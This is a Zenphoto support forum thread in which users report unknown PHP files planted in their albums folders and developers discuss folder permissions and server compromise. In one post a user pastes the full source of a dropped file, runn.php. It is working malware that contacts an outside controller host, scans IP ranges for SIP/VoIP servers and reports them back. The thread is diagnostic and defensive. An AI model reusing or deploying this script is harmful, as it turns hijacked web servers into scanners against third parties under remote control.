zenphoto forums » General Zenphoto Discussion

Security hole?

(22 posts)

Tags:

  1. eF

    Junior
    Joined: Oct '08
    Posts: 5

    Hi,
    my provider has informed me that someone else has uploaded a file : "RUNNN.php" in the albums folder of my Zenphoto install. I use the first release of 1.2.2, none of the nightly build. Straightforward install as recommanded in the installation note.

    My provider has deleted the file immediately, so I don't know the content of this file, I asked him to send me the file if it reappear.

    Is-it a security hole of Zenphoto (its the only one install on my web site)

    Thanks for your attention

    eF!

    Posted 5 years ago #
  2. Zenphoto development team
    acrylian

    Developer
    Joined: Jul '07
    Posts: 15,149

    This might be related to the rights on the folders. If you are using ftp Zenphoto of course does not check anything. Please read this entry and see if you can set the permissions this way:
    http://www.zenphoto.org/2008/08/troubleshooting-zenphoto/#29

    Don't forget to read the Forum rules and usage resources
    Posted 5 years ago #
  3. eF

    Junior
    Joined: Oct '08
    Posts: 5

    Thanks for your support. I will contact my provider to know how I can set up the permissions as recommanded in your reference.

    eF!

    Posted 5 years ago #
  4. ab2650

    Apprentice
    Joined: Feb '09
    Posts: 2

    The same thing happened with my ZP site about a month ago... Somehow someone dropped three files: "runnn.php", "runz.php" and "runz" in my albums directory. I grabbed a copy of the files before I deleted them, but I'm not sure what to do with it.

    Is it just me, or does it seem setting directory privs to 777 by default is generally a Bad Idea(tm)?

    I've gone through and set my dirs to 770 and files to 660 since...

    Posted 5 years ago #
  5. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    Zenphoto sets these permissions to 0777 by default because that is what works on all the various servers. Of course it is better to set a more strict set of priviledges. You should do that on your site so long as everything continues to work.

    However, Zenphoto would not have activated any of those scripts from your albums folder. All it takes from there are folders and images. Plus, there must be some other secruity breach or the person who uploaded those files would not have had access to the site in the first place.

    There is a define CHMOD_VALUE that should be changed. This define is used everywhere Zenphoto sets priviledges on files and folders. (You can set it in your zp-config.php file and it will stay set on updates.)

    Posted 5 years ago #
  6. Zenphoto development team
    acrylian

    Developer
    Joined: Jul '07
    Posts: 15,149

    Btw, there is a troubleshooting entry about this: http://www.zenphoto.org/2008/08/troubleshooting-zenphoto/#29

    Don't forget to read the Forum rules and usage resources
    Posted 5 years ago #
  7. gwmbox

    Contributor
    Joined: Apr '07
    Posts: 170

    So are you saying that even though those run files were put there they could not be used, activated etc? Sorry confused a little by the topic replies.

    My question is how did they get uploaded there? Is it simple enough for anyone to do this and hence the CHMOD permission suggestions... What IF I cannot use 770 or 660 am I at the whim of any would be hacker out there in internet land? There must be other ways a user of ZP can have their site more secure, otherwise why use ZP at all - why risk it?

    Cheers

    Posted 5 years ago #
  8. Zenphoto development team
    acrylian

    Developer
    Joined: Jul '07
    Posts: 15,149

    Sbillard just said that Zenphoto would not exectute those files. If they were execute somehow else we can't know of course as we don't know the files or what they actually do.

    Security also depends on the security setting of your webspace server itself. It is quite possible that someone hacked into your fpt accout or the admin backend or the server in general, too. Did you already contact your host about that issue? Maybe you were not the only one that was affected by this.

    Don't forget to read the Forum rules and usage resources
    Posted 5 years ago #
  9. gwmbox

    Contributor
    Joined: Apr '07
    Posts: 170

    I don't (yet) have the security issue, I am however keen to avoid it from occuring - hence my reply.

    BTW do you guys have a security or announcement thread or mailing list we can subscribe to?

    Posted 5 years ago #
  10. Zenphoto development team
    acrylian

    Developer
    Joined: Jul '07
    Posts: 15,149

    All right, sorry, I mistook you for the thread starter...There is a google group for announcements but that is only used for official releases and there is one for translations discussions only.

    We generally post all relevant things on our site's news section and/or the forum. We don't post every bits of course so looking at the svn comments and the tickets might help also.

    Don't forget to read the Forum rules and usage resources
    Posted 5 years ago #
  11. gwmbox

    Contributor
    Joined: Apr '07
    Posts: 170

    Can I suggest/request then an Announcements and Security thread (stickied to top of forum) PLEASE that we can choose to subscribe to the RSS feed for then - works great for my other php systems I use like Joomla etc.

    It is just that when busy it can be a few days or even weeks between visits and an alert via RSS would be so much better :)

    Posted 5 years ago #
  12. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    I've added security as a topic. But it may not do much good. People often do not pay attention to these toipcs when posting.

    Posted 5 years ago #
  13. ab2650

    Apprentice
    Joined: Feb '09
    Posts: 2

    Regarding the scripts executing, I suppose it's correct to say "zenphoto won't execute the scripts" but they are php files, and they were dropped in my /albums directory... Meaning that anyone who knows the name of the file could execute them by making a HTTP request.

    As far as I can see, my passwords were not brute forced, either my zenphoto login, ssh login, or mysql. I'm fairly security-minded and my passwords are certainly not based on dictionary words. At this point I'm fairly well certain that the problem was with the world bit set to writable and have since changed to mode 664 (directories to 775). The problem is when creating new albums and files, ZP unfortunately insists on mode 777.

    Furthermore, the top 3 results on a google search for runz.php (which was one of the files in my case) returns only zenphoto galleries. That to me seems like a zenphoto specific problem...

    If anyone would like to see the source of runz.php or runnn.php (the source is only slightly different), I'll gladly share.

    Posted 5 years ago #
  14. Zenphoto development team
    acrylian

    Developer
    Joined: Jul '07
    Posts: 15,149

    I can't remember any report about this file since I am on this project (and google returns just three out of probably several hundreds installations).

    Anyway, we take any reports serious. You could open a ticket and attach the files to it.

    Don't forget to read the Forum rules and usage resources
    Posted 5 years ago #
  15. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    All you say is true, but still it has nothing to do with Zenphoto. If someone drops a script in one of your WEB folders then executes it you have a problem whether you have Zenphoto around or not.

    Zenphoto does not insist on 0777. Change the define as described above. Of course, your server setup may not allow zenphoto to access its files and folders with this setting. That is a server setup issue.

    Posted 5 years ago #
  16. wumpus

    Member
    Joined: Aug '08
    Posts: 17

    My WP installation was hacked on a shared host because I had folders with 777 permissions. They hosted "warez" URLS on my site and I dropped in the Google rankings as a result.

    When I researched it the consensus seemed to be that the hack was done by another account on the shared server (they even got into a password protected folder) but whatever the case, I switched hosts and never ever use 777 anymore.

    Posted 5 years ago #
  17. babar_e

    Junior
    Joined: Nov '08
    Posts: 8

    Hello,
    I was thinking that maybe we could put in the admin page an option to set the permission of the folders and files ( and use something else than 777 or 664,... for labels as most peopel without unix/linux experience won't get it)
    cheers
    Eric

    Posted 5 years ago #
  18. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    You can just set the CHMOD_VALUE define in your zp-config.php (or change the define in functions-basic.php). For some folders it is too late by the time you can run the admin pages.

    Posted 5 years ago #
  19. sunix

    Member
    Joined: Dec '08
    Posts: 13

    souce code of runn.php ,please make sure it not a hole!!

    <?php

    $controller = "http://www.ucpix.de/img/host2.php";

    function chunkedDecode($data)
    {
    $ret = "";
    while(1) {
    $data = trim($data);
    $cursize = intval($data, 16);
    if($cursize == 0)
    break;

    $data = substr(strstr($data, "\n"), 1);
    $ret .= substr($data, 0, $cursize);
    $data = substr($data, $cursize);
    }
    return $ret;
    }

    function parseControlData($data)
    {
    $lines = split("\n", $data);
    $header = true;
    $first = true;
    $contentdata = array();
    foreach($lines AS $line) {
    $line = trim($line);

    if($first) {
    $header = split(" ", $line);
    if(count($header) < 3)
    return array();
    list(, $code,) = $header;
    if($code != 200)
    return array();

    $first = false;
    continue;
    }

    if($header && $line == "") {
    $header = false;
    }
    else if($header) {
    // Header
    $headerinfo = split(":", $line);
    if(count($headerinfo) < 2)
    continue;
    $headername = trim($headerinfo[0]);
    $headervalue = trim($headerinfo[1]);

    if(strtolower($headername) == "transfer-encoding" && strtolower($headervalue) == "chunked")
    return split("\n", chunkedDecode(substr($data, strpos($data, "\r\n\r\n"))));
    }
    else {
    // Content
    if($line)
    $contentdata[] = $line;
    }
    }

    return $contentdata;
    }

    function myip2long($ip)
    {
    return ip2long($ip);
    $a = split("\.", $ip);
    if(count($a) != 4)
    return FALSE;

    $ret = 0;
    for($i = 0; $i < 4; $i++) {
    $a[$i] = intval($a[$i]);
    $ret = ($ret << 8) | $a[$i];
    }
    return $ret;
    }

    function mylong2ip($n)
    {
    return long2ip($n);
    return sprintf("%d.%d.%d.%d", ($n >> 24) & 0xFF, ($n >> 16) & 0xFF, ($n >> 8) & 0xFF, $n & 0xFF);
    }

    if(isset($_SERVER['argv'])) {
    // Command line
    }
    else {
    // Web server
    set_time_limit(0);
    ignore_user_abort(false);
    }

    // Get the controller url
    $controlurl = parse_url($controller);
    if(!isset($controlurl['scheme']))
    $controlurl['scheme'] = 'http';
    $bSSL = ($controlurl['scheme'] == 'https');
    if(!isset($controlurl['port']))
    $controlurl['port'] = $bSSL ? 443 : 80;
    if(isset($controlurl['query']))
    $controlurl['path'] .= "?".$controlurl['query']."&";
    else
    $controlurl['path'] .= "?";

    // Start the socket
    $sock = socket_create(AF_INET, SOCK_DGRAM, 0);
    if($sock === FALSE)
    die("Failed to create socket");

    // Attempt to bind
    $localport = 5060;
    while($localport < 65536) {
    if(socket_bind($sock, "0.0.0.0", $localport))
    break;
    else
    $localport++;
    }

    if($localport == 65536)
    die("Unable to bind");

    $targets = array();
    $curtarget = 0;
    $targetid = 0;
    $controlsock = FALSE;
    $lastcontroltime = 0;
    $hastargets = FALSE;
    $currentmatches = array();
    $donearr = array();
    while(1) {
    if($curtarget && !isset($targets[$curtarget])) {
    $targets = array();
    $curtarget = 0;
    }

    if($controlsock === FALSE) {
    // Setup a socket to the control server
    $controlsock = socket_create(AF_INET, SOCK_STREAM, 0);
    if($controlsock !== FALSE) {
    if(!socket_connect($controlsock, ($bSSL ? "ssl://" : "").$controlurl['host'], $controlurl['port'])) {
    socket_close($controlsock);
    $controlsock = false;
    }
    }
    }

    if($controlsock !== FALSE) {
    if(isset($targets[$curtarget])) {
    $donetil = mylong2ip(myip2long($targets[$curtarget][0]) + $targetid);
    $qs = "done=$donetil&ping&";
    }
    else {
    if($hastargets)
    $qs = "done&";
    else
    $qs = "";
    }

    if(count($currentmatches)) {
    $qs .= "found=";
    $maxfound = 10;
    while($maxfound > 0 && count($currentmatches) > 0) {
    $curfound = sprintf("%08X", myip2long(array_shift($currentmatches)));
    $qs .= $curfound;
    }
    }

    $out = "GET ".$controlurl['path']."$qs HTTP/1.1\r\n";
    $out .= "Host: ".$controlurl['host']."\r\n";
    $out .= "Connection: close\r\n";
    $out .= "\r\n";
    socket_write($controlsock, $out);
    $controldata = "";
    $lastcontroltime = time();
    }

    while(1) {
    // Test whether we have something to do
    $read = array( $sock );
    $except = array();
    $write = array( );
    if($controlsock !== FALSE) {
    $read[] = $controlsock;
    }

    if(isset($targets[$curtarget])) {
    // We have data to send
    $write[] = $sock;
    }

    socket_select($read, $write, $except, 3);

    // Do we have data from our controller
    if(in_array($controlsock, $read)) {
    if(!($buf = socket_read($controlsock, 65535))) {
    socket_close($controlsock);
    $controlsock = FALSE;

    $newtargets = parseControlData($controldata);
    foreach($newtargets AS $strcurtarget) {
    if($strcurtarget[0] == "!") {
    //eval(substr($strcurtarget, 1));
    continue;
    }

    $targetsplit = split("-", $strcurtarget);
    if(count($targetsplit) != 2)
    continue;

    $cstart = myip2long(trim($targetsplit[0]));
    $cend = myip2long(trim($targetsplit[1]));
    if($cstart === FALSE || $cend === FALSE)
    continue;
    $targets[] = array($cstart, $cend);
    $hastargets = true;
    }
    }
    else {
    $controldata .= $buf;
    }
    }

    if(in_array($sock, $write)) {
    $curip = $targets[$curtarget][0] + $targetid;
    $curip = mylong2ip($curip);
    $out = "OPTIONS sip:$curip SIP/2.0\r\n";
    $out .= "Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-3408002827;rport\r\n";
    $out .= "Content-Length: 0\r\n";
    $out .= "From: \"siplicious\"<sip:100@1.1.1.1>; tag=0101010113c4\r\n";
    $out .= "Accept: application/sdp\r\n";
    $out .= "To: \"siplicious\"<sip:100@1.1.1.1>\r\n";
    $out .= "Contact: sip:None@127.0.1.1:5060\r\n";
    $out .= "CSeq: 1 OPTIONS\r\n";
    $out .= "Call-ID: 700556890817406150532338\r\n";
    $out .= "Max-Forwards: 70\r\n";
    $out .= "\r\n";
    socket_sendto($sock, $out, strlen($out), 0, $curip, 5060);

    // Pick the next target
    $targetid++;
    if($targetid + $targets[$curtarget][0] > $targets[$curtarget][1]) {
    $targetid = 0;
    $curtarget++;
    }
    }
    else if(in_array($sock, $read)) {
    socket_recvfrom($sock, $curread, 8192, 0, $curhost, $port);
    if(!isset($donearr[$curhost])) {
    $donearr[$curhost] = TRUE;
    $currentmatches[] = $curhost;
    }
    } else {
    // We need either a control socket or targets. If not, recreate the control socket
    if(!isset($targets[$curtarget]) && $controlsock === FALSE) {
    sleep(3);
    break;
    }
    }

    if(time() - $lastcontroltime > 15)
    break;
    }
    }
    ?>

    Posted 5 years ago #
  20. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    This script is not part of Zenpoto.

    Posted 5 years ago #
  21. sunix

    Member
    Joined: Dec '08
    Posts: 13

    I found this suspicious file runn.php in one of my album folder,downloaded it and then deleted it.
    This line :$controller = "http://www.ucpix.de/img/host2.php";

    it looks like a trojan script.I really don't know how does it come in.

    Posted 5 years ago #
  22. sbillard

    Contributor
    Joined: May '07
    Posts: 10,455

    Someone is able to access your files & folders. See http://www.zenphoto.org/2008/08/troubleshooting-zenphoto/#29

    Posted 5 years ago #

RSS feed for this topic

Reply

You must log in to post.